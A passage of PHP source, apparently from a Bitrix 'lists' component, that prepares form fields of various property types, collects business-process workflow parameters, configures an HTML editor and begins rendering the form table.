					if(preg_match('/\s*(\d+)\s*(px|%|)/', $field['SETTINGS']['WIDTH'], $match) && ($match[1] > 0))
					{
						$params['width'] = $match[1].$match[2];
					}
					if(preg_match('/\s*(\d+)\s*(px|%|)/', $field['SETTINGS']['HEIGHT'], $match) && ($match[1] > 0))
					{
						$params['height'] = $match[1].$match[2];
					}

					$html = $this->connectionHtmlEditor($fieldId, $fieldId, $params, $this->lists['FORM_DATA'][$fieldId]);

					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						'id'=>$fieldId,
						'name'=>$field['NAME'],
						'required'=>$field['IS_REQUIRED']=='Y'? true: false,
						'type' => 'custom',
						'value' => $html,
					);
				}
				else
				{
					$params = array(
						'style' => '',
					);
					if(preg_match('/\s*(\d+)\s*(px|%|)/', $field['SETTINGS']['WIDTH'], $match) && ($match[1] > 0))
					{
						if($match[2] == '')
							$params['cols'] = $match[1];
						else
							$params['style'] .= 'width:'.$match[1].$match[2].';';
					}
					if(preg_match('/\s*(\d+)\s*(px|%|)/', $field['SETTINGS']['HEIGHT'], $match) && ($match[1] > 0))
					{
						if($match[2] == "")
							$params['rows'] = $match[1];
						else
							$params['style'] .= 'height:'.$match[1].$match[2].';';
					}

					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						'id'=>$fieldId,
						'name'=>$field['NAME'],
						'required'=>$field['IS_REQUIRED']=='Y'? true: false,
						'type' => 'textarea',
						'params' => $params,
					);
				}
			}
			elseif($fieldId == "DATE_CREATE" || $fieldId == "TIMESTAMP_X")
			{
				if($this->lists['ELEMENT_FIELDS'][$fieldId])
					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId,
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type" => "custom",
						"value" => $this->lists['ELEMENT_FIELDS'][$fieldId],
					);
			}
			elseif($fieldId == "CREATED_BY")
			{
				if($this->lists['ELEMENT_FIELDS']["CREATED_BY"])
					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId,
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type" => "custom",
						"value" => "[".$this->lists['ELEMENT_FIELDS']["CREATED_BY"]."] ".$this->lists['ELEMENT_FIELDS']["CREATED_USER_NAME"],
					);
			}
			elseif($fieldId == "MODIFIED_BY")
			{
				if($this->lists['ELEMENT_FIELDS']["MODIFIED_BY"])
					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId,
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type" => "custom",
						"value" => "[".$this->lists['ELEMENT_FIELDS']["MODIFIED_BY"]."] ".$this->lists['ELEMENT_FIELDS']["USER_NAME"],
					);
			}
			elseif(
				is_array($field["PROPERTY_USER_TYPE"]) && array_key_exists("GetPublicEditHTMLMulty", $field["PROPERTY_USER_TYPE"])
				&& $field["MULTIPLE"] == "Y" && $field["PROPERTY_TYPE"] != "E"
			)
			{
				$html = call_user_func_array($field["PROPERTY_USER_TYPE"]["GetPublicEditHTMLMulty"],
					array(
						$field,
						$this->lists['FORM_DATA'][$fieldId],
						array(
							"VALUE"=>$fieldId,
							"DESCRIPTION"=>'',
							"FORM_NAME"=>$this->formId,
							"MODE"=>"FORM_FILL",
						),
					));

				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId,
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type"=>"custom",
					"value"=>$html,
				);
			}
			elseif(is_array($field["PROPERTY_USER_TYPE"]) && array_key_exists("GetPublicEditHTML", $field["PROPERTY_USER_TYPE"]))
			{
				$params = array(
					'width' => '100%',
					'height' => '200px',
					'iblockId' => ''
				);
				$listTypeNotMultiple = array('S:DiskFile', 'S:ECrm');
				if($field["MULTIPLE"] == "Y" && !in_array($field["TYPE"], $listTypeNotMultiple))
				{
					$checkHtml = false;
					$html = '<table id="tbl'.$fieldId.'">';
					foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
					{
						if($field["TYPE"] == "S:HTML")
						{
							$checkHtml = true;
							$fieldIdForHtml = 'id_'.$fieldId.'__'.$key.'_';
							$fieldNameForHtml = $fieldId."[".$key."][VALUE][TEXT]";
							$html .= '<tr><td><input type="hidden" name="'.$fieldId.'['.HtmlFilter::encode($key).
								'][VALUE][TYPE]" value="html">'
								.$this->connectionHtmlEditor($fieldIdForHtml, $fieldNameForHtml, $params,
									is_array($value['VALUE']) ? $value['VALUE']['TEXT']: '').'</td></tr>';
						}
						elseif($field['TYPE'] == 'S:DateTime')
						{
							$html .= '<tr><td>
								<input class="bx-lists-input-calendar" type="text" name="'.$fieldId.'['.
								HtmlFilter::encode($key).'][VALUE]" onclick="BX.calendar({node: this.parentNode, field: this, bTime: true, bHideTime: false});" value="'.$value['VALUE'].'">
								<span class="bx-lists-calendar-icon" onclick="BX.calendar({node:this, field:\''.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]\', form: \'\', bTime: true, bHideTime: false});"
									  onmouseover="BX.addClass(this, \'calendar-icon-hover\');" onmouseout="BX.removeClass(this, \'calendar-icon-hover\');" border="0"></span>
							</td></tr>';
						}
						elseif($field['TYPE'] == 'S:Date')
						{
							$html .= '<tr><td>
								<input class="bx-lists-input-calendar" type="text" name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" onclick="BX.calendar({node: this.parentNode, field: this, bTime: false, bHideTime: false});" value="'.$value['VALUE'].'">
								<span class="bx-lists-calendar-icon" onclick="BX.calendar({node:this, field:\''.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]\', form: \'\', bTime: false, bHideTime: false});"
									  onmouseover="BX.addClass(this, \'calendar-icon-hover\');" onmouseout="BX.removeClass(this, \'calendar-icon-hover\');" border="0"></span>
							</td></tr>';
						}
						elseif($field['TYPE'] == 'E:EList')
						{
							$html .= '<tr><td><span class="bx-bp-select">'.call_user_func_array($field["PROPERTY_USER_TYPE"]["GetPublicEditHTML"],
								array(
									$field,
									$value,
									array(
										"VALUE"=>$fieldId."[".$key."][VALUE]",
										"DESCRIPTION"=>'',
										"FORM_NAME"=>$this->formId,
										"MODE"=>"FORM_FILL",
										"COPY"=>false,
									),
								)).'</span></td></tr>';
						}
						else
						{
							$html .= '<tr><td>'.call_user_func_array($field["PROPERTY_USER_TYPE"]["GetPublicEditHTML"],
									array(
										$field,
										$value,
										array(
											"VALUE"=>$fieldId."[".$key."][VALUE]",
											"DESCRIPTION"=>'',
											"FORM_NAME"=>$this->formId,
											"MODE"=>"FORM_FILL",
											"COPY"=>false,
										),
									)).'</td></tr>';
						}
					}
					$html .= '</table>';
					if($checkHtml)
						$html .= '<span class="bx-lists-input-add-button"><input type="button" onclick="BX.Lists[\'LiveFeedClass_'.$this->randomString.'\'].createAdditionalHtmlEditor(\'tbl'.$fieldId.'\', \''.$fieldId.'\', \''.$this->formId.'\');" value="'.Loc::getMessage("LISTS_SEAC_ADD_BUTTON").'"></span>';
					else
					{
						$regExp = '/'.$fieldId.'\[(n)([0-9]*)\]|data-id=".+?"/g';
						$html .= '<span class="bx-lists-input-add-button"><input type="button" onclick="BX.Lists.addNewTableRow(\'tbl'.$fieldId.'\', 1, '.htmlspecialcharsbx($regExp).', 2)" value="'.Loc::getMessage("LISTS_SEAC_ADD_BUTTON").'"></span>';
					}

					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId,
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type"=>"custom",
						"value"=>$html,
					);
				}
				else
				{
					$html = '';
					foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
					{
						if($field["TYPE"] == "S:HTML")
						{
							$fieldNameForHtml = $fieldId."[".$key."][VALUE][TEXT]";
							$html = $this->connectionHtmlEditor($fieldId, $fieldNameForHtml, $params, is_array($value['VALUE']) ? $value['VALUE']['TEXT']: '');
							$html .= '<input type="hidden" name="'.$fieldId.'['.$key.'][VALUE][TYPE]" value="html">';
						}
						elseif($field['TYPE'] == 'S:DateTime')
						{
							$html = '
								<input class="bx-lists-input-calendar" type="text" name="'.$fieldId.'[n0][VALUE]" onclick="BX.calendar({node: this.parentNode, field: this, bTime: true, bHideTime: false});" value="'.$value['VALUE'].'">
								<span class="bx-lists-calendar-icon" onclick="BX.calendar({node:this, field:\''.$fieldId.'[n0][VALUE]\', form: \'\', bTime: true, bHideTime: false});"
									  onmouseover="BX.addClass(this, \'calendar-icon-hover\');" onmouseout="BX.removeClass(this, \'calendar-icon-hover\');" border="0"></span>
							';
						}
						elseif($field['TYPE'] == 'S:Date')
						{
							$html = '
								<input class="bx-lists-input-calendar" type="text" name="'.$fieldId.'[n0][VALUE]" onclick="BX.calendar({node: this.parentNode, field: this, bTime: false, bHideTime: false});" value="'.$value['VALUE'].'">
								<span class="bx-lists-calendar-icon" onclick="BX.calendar({node:this, field:\''.$fieldId.'[n0][VALUE]\', form: \'\', bTime: false, bHideTime: false});"
									  onmouseover="BX.addClass(this, \'calendar-icon-hover\');" onmouseout="BX.removeClass(this, \'calendar-icon-hover\');" border="0"></span>
							';
						}
						elseif($field['TYPE'] == 'E:EList')
						{
							$html = '<span class="bx-bp-select">'.call_user_func_array($field['PROPERTY_USER_TYPE']['GetPublicEditHTML'],
								array(
									$field,
									$value,
									array(
										'VALUE' => $fieldId.'['.$key.'][VALUE]',
										'DESCRIPTION' => '',
										'FORM_NAME' => $this->formId,
										'MODE' => 'FORM_FILL',
										'COPY' => false,
									),
								)).'</span>';
						}
						else
						{
							if($field['TYPE'] == 'S:ECrm')
							{
								Bitrix\Main\Page\Asset::getInstance()->addCss('/bitrix/js/crm/css/crm.css');
								Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/crm.js');
							}
							$html = call_user_func_array($field['PROPERTY_USER_TYPE']['GetPublicEditHTML'],
								array(
									$field,
									$value,
									array(
										'VALUE' => $fieldId.'['.$key.'][VALUE]',
										'DESCRIPTION' => '',
										'FORM_NAME' => $this->formId,
										'MODE' => 'FORM_FILL',
										'COPY' => false,
									),
								));

						}
						break;
					}

					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						'id' => $fieldId,
						'name' => $field['NAME'],
						'required' => $field['IS_REQUIRED']=='Y'? true: false,
						'type' => 'custom',
						'value' => $html,
					);
				}
			}
			elseif($field["PROPERTY_TYPE"] == "N")
			{
				$html = '';
				if($field["MULTIPLE"] == "Y")
				{
					$html = '<table id="tbl'.$fieldId.'">';
					foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
						$html .= '<tr><td><input type="text" name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" value="'.$value["VALUE"].'"></td></tr>';
					$html .= '</table>';
					$html .= '<span class="bx-lists-input-add-button"><input type="button" onclick="javascript:BX.Lists.addNewTableRow(\'tbl'.$fieldId.'\', 1, /'.$fieldId.'\[(n)([0-9]*)\]/g, 2)" value="'.Loc::getMessage("LISTS_SEAC_ADD_BUTTON").'"></span>';
				}
				else
				{
					foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
						$html = '<input type="text" name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" value="'.$value["VALUE"].'">';
				}

				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId,
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type"=>"custom",
					"value"=>$html,
				);
			}
			elseif($field["PROPERTY_TYPE"] == "S")
			{
				$html = '';
				if($field["MULTIPLE"] == "Y")
				{
					$html = '<table id="tbl'.$fieldId.'">';
					if ($field["ROW_COUNT"] > 1)
					{
						foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
						{
							$html .= '<tr><td><textarea name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" rows="'.intval($field["ROW_COUNT"]).'" cols="'.intval($field["COL_COUNT"]).'">'.$value["VALUE"].'</textarea></td></tr>';
						}
					}
					else
					{
						foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
						{
							$html .= '<tr><td><input type="text" name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" value="'.$value["VALUE"].'"></td></tr>';
						}
					}
					$html .= '</table>';
					$html .= '<span class="bx-lists-input-add-button"><input type="button" onclick="javascript:BX.Lists.addNewTableRow(\'tbl'.$fieldId.'\', 1, /'.$fieldId.'\[(n)([0-9]*)\]/g, 2)" value="'.Loc::getMessage("LISTS_SEAC_ADD_BUTTON").'"></span>';
				}
				else
				{
					if ($field["ROW_COUNT"] > 1)
					{
						foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
						{
							$html = '<textarea name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" rows="'.intval($field["ROW_COUNT"]).'" cols="'.intval($field["COL_COUNT"]).'">'.$value["VALUE"].'</textarea>';
						}
					}
					else
					{
						foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
						{
							$html = '<input type="text" name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" value="'.$value["VALUE"].'" size="'.intval($field["COL_COUNT"]).'">';
						}
					}
				}

				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId,
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type"=>"custom",
					"value"=>$html,
				);
			}
			elseif($field["PROPERTY_TYPE"] == "L")
			{
				$items = array("" => Loc::getMessage("LISTS_SEAC_NO_VALUE"));
				$propEnums = CIBlockProperty::getPropertyEnum($field["ID"]);
				while($enum = $propEnums->fetch())
					$items[$enum["ID"]] = $enum["VALUE"];

				if($field["MULTIPLE"] == "Y")
				{
					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId.'[]',
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type"=>'list',
						"items"=>$items,
						"value"=>$this->lists['FORM_DATA'][$fieldId],
						"params" => array("size"=>5, "multiple"=>"multiple"),
					);
				}
				else
				{
					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId,
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type"=>'list',
						"items"=>$items,
						"value"=>$this->lists['FORM_DATA'][$fieldId],
					);
				}
			}
			elseif($field['PROPERTY_TYPE'] == 'F')
			{
				$html = '
					<script>
						var wrappers = document.getElementsByClassName("bx-lists-input-file");
						for (var i = 0; i < wrappers.length; i++)
						{
							var inputs = wrappers[i].getElementsByTagName("input");
							for (var j = 0; j < inputs.length; j++)
							{
								inputs[j].onchange = getName;
							}
						}
						function getName ()
						{
							var str = this.value, i;
							if (str.lastIndexOf("\\\"))
							{
								i = str.lastIndexOf("\\\")+1;
							}
							else
							{
								i = str.lastIndexOf("\\\")+1;
							}
							str = str.slice(i);
							var uploaded = this.parentNode.parentNode.getElementsByClassName("fileformlabel")[0];
							uploaded.innerHTML = str;
						}
					</script>
				';
				if($field['MULTIPLE'] == 'Y')
				{
					$html .= '<table id="tbl'.$fieldId.'">';
					foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
					{
						$html .= '<tr><td><span class="file-wrapper"><span class="bx-lists-input-file">
								<span class="webform-small-button bx-lists-small-button">'.Loc::getMessage('LISTS_SEAC_FILE_ADD') .'</span>';

						$html .= $this->connectionFile($fieldId, $key, $value, $field['PROPERTY_TYPE']);

						$html .= '</span><span class="fileformlabel bx-lists-input-file-name"></span></span></td></tr>';
					}
					$html .= '</table>';
					$html .= '
						<span class="bx-lists-input-add-button">
							<input type="button" onclick="javascript:BX.Lists[\'LiveFeedClass_'.$this->randomString.'\'].addNewFileTableRow(\'tbl'.$fieldId.'\', 1, /'.$fieldId.'\[(n)([0-9]*)\]/g, 2);
							BX.Lists[\'LiveFeedClass_'.$this->randomString.'\'].getNameInputFile();" value="'.Loc::getMessage("LISTS_SEAC_ADD_BUTTON").'">
						</span>';

					$this->lists['PREPARED_FIELDS'][$fieldId] = array(
						"id"=>$fieldId,
						"name"=>$field["NAME"],
						"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
						"type"=>"custom",
						"value"=>$html,
					);
				}
				else
				{
					foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
					{
						$html .= '<span class="file-wrapper"><span class="bx-lists-input-file">
								<span class="webform-small-button bx-lists-small-button">'.Loc::getMessage('LISTS_SEAC_FILE_ADD') .'</span>';
						$html .= $this->connectionFile($fieldId, $key, $value, $field['PROPERTY_TYPE']);
						$html .= '</span><span class="fileformlabel bx-lists-input-file-name"></span></span>';
						$this->lists['PREPARED_FIELDS'][$fieldId] = array(
							"id" => $fieldId.'['.$key.'][VALUE]',
							"name" => $field["NAME"],
							"required" => $field["IS_REQUIRED"]=="Y"? true: false,
							"type" => "file",
							"value" => $html,
						);
					}
				}
			}
			elseif($field["PROPERTY_TYPE"] == "G")
			{
				if($field["IS_REQUIRED"]=="Y")
					$items = array();
				else
					$items = array("" => Loc::getMessage("LISTS_SEAC_NO_VALUE"));

				$rsSections = CIBlockSection::GetTreeList(Array("IBLOCK_ID" => $field["LINK_IBLOCK_ID"]));
				while($res = $rsSections->GetNext())
					$items[$res["ID"]] = str_repeat(" . ", $res["DEPTH_LEVEL"]).$res["NAME"];

				if($field["MULTIPLE"] == "Y")
					$params = array("size"=>4, "multiple"=>"multiple");
				else
					$params = array();

				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId.'[]',
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type"=>'list',
					"items"=>$items,
					"value"=>$this->lists['FORM_DATA'][$fieldId],
					"params" => $params,
				);
			}
			elseif($field["PROPERTY_TYPE"] == "E")
			{
				if(!is_array($this->lists['FORM_DATA'][$fieldId]))
					$this->lists['FORM_DATA'][$fieldId] = array($this->lists['FORM_DATA'][$fieldId]);

				$currentElements = array();
				foreach($this->lists['FORM_DATA'][$fieldId] as $listElementId)
				{
					if($listElementId)
					{
						$currentElements[] = $listElementId;
					}
				}
				$randomGenerator = new Bitrix\Main\Type\RandomSequence($fieldId);
				$randString = strtolower($randomGenerator->randString(6));
				$html = '';
				global $APPLICATION;
				ob_start();
				$APPLICATION->includeComponent('bitrix:iblock.element.selector', '',
					array(
						'SELECTOR_ID' => $randString,
						'INPUT_NAME' => $fieldId,
						'IBLOCK_ID' => $field["LINK_IBLOCK_ID"],
						'MULTIPLE' => $field["MULTIPLE"],
						'CURRENT_ELEMENTS_ID' => $currentElements,
						'POPUP' => 'Y',
						'PANEL_SELECTED_VALUES' => 'Y'
					),
					null, array('HIDE_ICONS' => 'Y')
				);
				$html .= ob_get_contents();
				ob_end_clean();

				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId,
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type"=>'custom',
					"value"=>$html,
				);
			}
			elseif($field["MULTIPLE"] == "Y")
			{
				$html = '<table id="tbl'.$fieldId.'"><tr><td>';
				foreach($this->lists['FORM_DATA'][$fieldId] as $key => $value)
					$html .= '<tr><td><input type="text" name="'.$fieldId.'['.HtmlFilter::encode($key).'][VALUE]" value="'.$value["VALUE"].'"></td></tr>';
				$html .= '</td></tr></table>';
				$html .= '
				<span class="bx-lists-input-add-button">
					<input type="button" onclick="javascript:BX.Lists.addNewTableRow(\'tbl'.$fieldId.'\', 1, /'.$fieldId.'\[(n)([0-9]*)\]/g, 2)" value="'.Loc::getMessage("LISTS_SEAC_ADD_BUTTON").'">
				</span>';

				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId,
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type"=>"custom",
					"value"=>$html,
				);
			}
			elseif(is_array($this->lists['FORM_DATA'][$fieldId]) && array_key_exists("VALUE", $this->lists['FORM_DATA'][$fieldId]))
			{
				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId.'[VALUE]',
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type" => "text",
					"value" => $this->lists['FORM_DATA'][$fieldId]["VALUE"],
				);
			}
			else
			{
				$this->lists['PREPARED_FIELDS'][$fieldId] = array(
					"id"=>$fieldId,
					"name"=>$field["NAME"],
					"required"=>$field["IS_REQUIRED"]=="Y"? true: false,
					"type" => "text",
				);
			}

			if(!($fieldId == 'DATE_CREATE' || $fieldId == 'TIMESTAMP_X' || $fieldId == 'CREATED_BY' || $fieldId == 'MODIFIED_BY'))
			{
				if(isset($field['SETTINGS']['SHOW_ADD_FORM']))
				{
					$this->lists['PREPARED_FIELDS'][$fieldId]['show'] = $field['SETTINGS']['SHOW_ADD_FORM'] == 'Y' ? 'Y' : 'N';
				}
				else
				{
					$this->lists['PREPARED_FIELDS'][$fieldId]['show'] = 'Y';
				}
			}

		}
	}

	protected function getBizprocData()
	{
		$userId = $this->getUser()->getID();
		$currentUserGroups = $this->getUser()->getUserGroupArray();
		if(!$this->lists['ELEMENT_FIELDS'] || $this->lists['ELEMENT_FIELDS']['CREATED_BY'] == $userId)
			$currentUserGroups[] = 'Author';

		$documentType = 'iblock_'.$this->iblockId;
		CBPDocument::addShowParameterInit('lists', 'only_users', $documentType);

		$this->lists['BIZPROC_FIELDS'] = array();
		$bizprocIndex = 0;
		$documentStates = CBPDocument::getDocumentStates(array('lists', 'BizprocDocument', $documentType), null);
		$runtime = CBPRuntime::getRuntime();
		$runtime->startRuntime();
		$documentService = $runtime->getService('DocumentService');

		foreach ($documentStates as $documentState)
		{
			$bizprocIndex++;
			$viewWorkflow = CBPDocument::CanUserOperateDocumentType(
				CBPCanUserOperateOperation::StartWorkflow,
				$userId,
				array('lists', 'BizprocDocument', $documentType),
				array('sectionId'=> 0, 'AllUserGroups' => $currentUserGroups, 'DocumentStates' => $documentStates, 'WorkflowId' => $documentState['ID'] > 0 ? $documentState['ID'] : $documentState['TEMPLATE_ID'])
			);

			if($viewWorkflow)
			{
				$templateId = intval($documentState['TEMPLATE_ID']);
				$templateName = $documentState['TEMPLATE_NAME'];
				$workflowParameters = $documentState['TEMPLATE_PARAMETERS'];
				if(!is_array($workflowParameters))
					$workflowParameters = array();
				if(strlen($documentState["ID"]) <= 0 && $templateId > 0)
				{
					$parametersValues = array();
					$keys = array_keys($workflowParameters);
					foreach ($keys as $key)
					{
						$value = $workflowParameters[$key]["Default"];
						if (!is_array($value))
						{
							$parametersValues[$key] = $value;
						}
						else
						{
							$keys1 = array_keys($value);
							foreach ($keys1 as $key1)
							{
								$parametersValues[$key][$key1] = $value[$key1];
							}
						}
					}
					foreach ($workflowParameters as $parameterKey => $arParameter)
					{
						$parameterKeyExt = "bizproc".$templateId."_".$parameterKey;

						$html = $documentService->GetFieldInputControl(
							array('lists', 'BizprocDocument', $documentType),
							$arParameter,
							array("Form" => "start_workflow_form1", "Field" => $parameterKeyExt),
							$parametersValues[$parameterKey],
							false,
							true
						);

						$this->lists['BIZPROC_FIELDS'][$parameterKeyExt.$bizprocIndex] = array(
							"id" => $parameterKeyExt.$bizprocIndex,
							"required" => $arParameter["Required"],
							"name" => $arParameter["Name"],
							"title" => $arParameter["Description"],
							"type" => "custom",
							"realType" => $arParameter["Type"],
							"value" => $html,
							'show' => 'Y',
							'templateName' => $templateName,
							'templateId' => $templateId
						);
					}
				}
			}
		}
	}

	protected function connectionFile($fieldId, $key, $value, $type)
	{
		if($type == 'F')
			$fieldId = $fieldId.'['.$key.'][VALUE]';

		$obFile = new CListFile(
			$this->iblockId,
			$this->lists['ELEMENT_FIELDS']["IBLOCK_SECTION_ID"],
			$this->lists['ELEMENT_ID'],
			$fieldId,
			$value["VALUE"]
		);
		$obFile->SetSocnetGroup($this->socnetGroupId);
		$obFileControl = new CListFileControl($obFile, $fieldId);

		return $obFileControl->getHTML(array(
			'max_size' => 102400,
			'max_width' => 150,
			'max_height' => 150,
			'url_template' => '',
			'a_title' => Loc::getMessage("LISTS_SEAC_ENLARGE"),
			'download_text' => Loc::getMessage("LISTS_SEAC_DOWNLOAD"),
		));
	}

	protected function connectionHtmlEditor($fieldId, $fieldNameForHtml, $params, $content)
	{
		$html = '';
		if (Loader::includeModule('fileman'))
		{
			ob_start();
			$editor = new CHTMLEditor;
			$res = array(
				'name' => $fieldNameForHtml,
				'inputName' => $fieldNameForHtml,
				'id' => $fieldId.$params['iblockId'],
				'width' => $params['width'],
				'height' => $params['height'],
				'content' => $content,
				'useFileDialogs' => false,
				'minBodyWidth' => 350,
				'normalBodyWidth' => 555,
				'bAllowPhp' => false,
				'limitPhpAccess' => false,
				'showTaskbars' => false,
				'showNodeNavi' => false,
				'beforeUnloadHandlerAllowed' => true,
				'askBeforeUnloadPage' => false,
				'bbCode' => false,
				'siteId' => SITE_ID,
				'autoResize' => true,
				'autoResizeOffset' => 40,
				'saveOnBlur' => true,
				'actionUrl' => '/bitrix/tools/html_editor_action.php',
				'setFocusAfterShow' => false,
				'controlsMap' => array(
					array('id' => 'Bold', 'compact' => true, 'sort' => 80),
					array('id' => 'Italic', 'compact' => true, 'sort' => 90),
					array('id' => 'Underline', 'compact' => true, 'sort' => 100),
					array('id' => 'Strikeout', 'compact' => true, 'sort' => 110),
					array('id' => 'RemoveFormat', 'compact' => true, 'sort' => 120),
					array('id' => 'Color', 'compact' => true, 'sort' => 130),
					array('id' => 'FontSelector', 'compact' => false, 'sort' => 135),
					array('id' => 'FontSize', 'compact' => false, 'sort' => 140),
					array('separator' => true, 'compact' => false, 'sort' => 145),
					array('id' => 'OrderedList', 'compact' => true, 'sort' => 150),
					array('id' => 'UnorderedList', 'compact' => true, 'sort' => 160),
					array('id' => 'AlignList', 'compact' => false, 'sort' => 190),
					array('separator' => true, 'compact' => false, 'sort' => 200),
					array('id' => 'InsertLink', 'compact' => true, 'sort' => 210),
					array('id' => 'InsertImage', 'compact' => false, 'sort' => 220),
					array('id' => 'InsertVideo', 'compact' => true, 'sort' => 230),
					array('id' => 'InsertTable', 'compact' => false, 'sort' => 250),
					array('separator' => true, 'compact' => false, 'sort' => 290),
					array('id' => 'Fullscreen', 'compact' => false, 'sort' => 310),
					array('id' => 'More', 'compact' => true, 'sort' => 400)
				),
			);
			$editor->show($res);
			$html = ob_get_contents();
			ob_end_clean();
		}
		return $html;
	}

	protected function createHtml()
	{
		if(empty($this->lists['PREPARED_FIELDS']))
			return;

		switch ($this->iblockCode)
		{
			case 'bitrix_outgoing_doc':
				$blueDudeCode = 2216841;
				break;
			case 'bitrix_cash':
				$blueDudeCode = 2216531;
				break;
			case 'bitrix_trip':
				$blueDudeCode = 2216791;
				break;
			case 'bitrix_invoice':
				$blueDudeCode = 2215233;
				break;
			case 'bitrix_holiday':
				$blueDudeCode = 2216341;
				break;
			default:
				$blueDudeCode = 0;
				break;
		}

		$manyParameters = false;
		if(!empty($this->lists['BIZPROC_FIELDS']))
		{
			$title = Loc::getMessage('LISTS_IS_BIZPROC_PARAMETERS');
			if(count($this->lists['BIZPROC_FIELDS']) > 1)
			{
				$title = Loc::getMessage('LISTS_BIZPROC_PARAMETERS');
				$manyParameters = true;
			}
		}

		$data = array_merge($this->lists['PREPARED_FIELDS'], $this->lists['BIZPROC_FIELDS']);
		$listTemplateId = array();
		$bizprocTitle = true;

		?>

		<div class="bx-lists-iblock-description">
			<?= nl2br(htmlspecialcharsbx($this->iblockDescription)) ?>
			<? if(!empty($blueDudeCode)): ?>
				<br><br>
				<a style="cursor:pointer;"
				   onclick='BX.Helper.show("redirect=detail&code=<?=$blueDudeCode ?>");'>
					<?= Loc::getMessage('LISTS_IS_DESRIPTION_DETAIL') ?>
				</a>
			<? endif ?>
		</div>
		<div class="bx-lists-block-errors" id="bx-lists-block-errors" style="display:none;"></div>

		<table class="bx-lists-table-content">
			<? foreach($data as $fieldId => $field): ?>

				<? if(preg_match('/^bizproc/', $fieldId)): ?>

					<? if($bizprocTitle): ?>
						<? $bizprocTitle = false ?>
						<tr><td colspan="2" style="visibility: hidden"></td></tr>
						<tr>
							<td colspan="2" class="bx-lists-bizproc-parameters-title"><?= $title ?></td>
						</tr>
					<? endif ?>

					<? if($manyParameters && empty($listTemplateId[$field['templateId']])): ?>
						<tr><td colspan="2" style="visibility: hidden"></td></tr>
						<tr class="bx-lists-bp-parameters-template">
							<td colspan="2"><?= $field["templateName"] ?></td>
						</tr>
						<? $listTemplateId[$field['templateId']] = true; ?>
					<? endif ?>
				<? endif ?>

				<?
					$customHtml = (isset($field['value'])? $field['value'] : $this->lists['FORM_DATA'][$field['id']]);
					$params = '';
					if(is_array($field['params']) && $field['type'] <> 'file')
					{
						foreach($field['params'] as $p => $v)
							$params .= ' '.$p.'="'.$v.'"';
					}
					$required = $field['required'] ? '<span class="bx-lists-required">*</span>' : '';
					$style = $field['show'] == 'Y' ? '' : 'style="display:none;"';
					if($field['type'] == 'file'): ?>
						<script>
							var wrappers = document.getElementsByClassName('bx-lists-input-file');
							for (var i = 0; i < wrappers.length; i++)
							{
								var inputs = wrappers[i].getElementsByTagName('input');
								for (var j = 0; j < inputs.length; j++)
								{
									inputs[j].onchange = getName;
								}
							}
							function getName ()
							{
								var str = this.value, i;
								if (str.lastIndexOf('\\'))
								{
									i = str.lastIndexOf('\\')+1;
								}
								else
								{
									i = str.lastIndexOf('/')+1;
								}
								str = str.slice(i);
								var uploaded = this.parentNode.parentNode.getElementsByClassName('fileformlabel')[0];
								uploaded.innerHTML = str;
							}
						</script>
					<? endif;
				?>

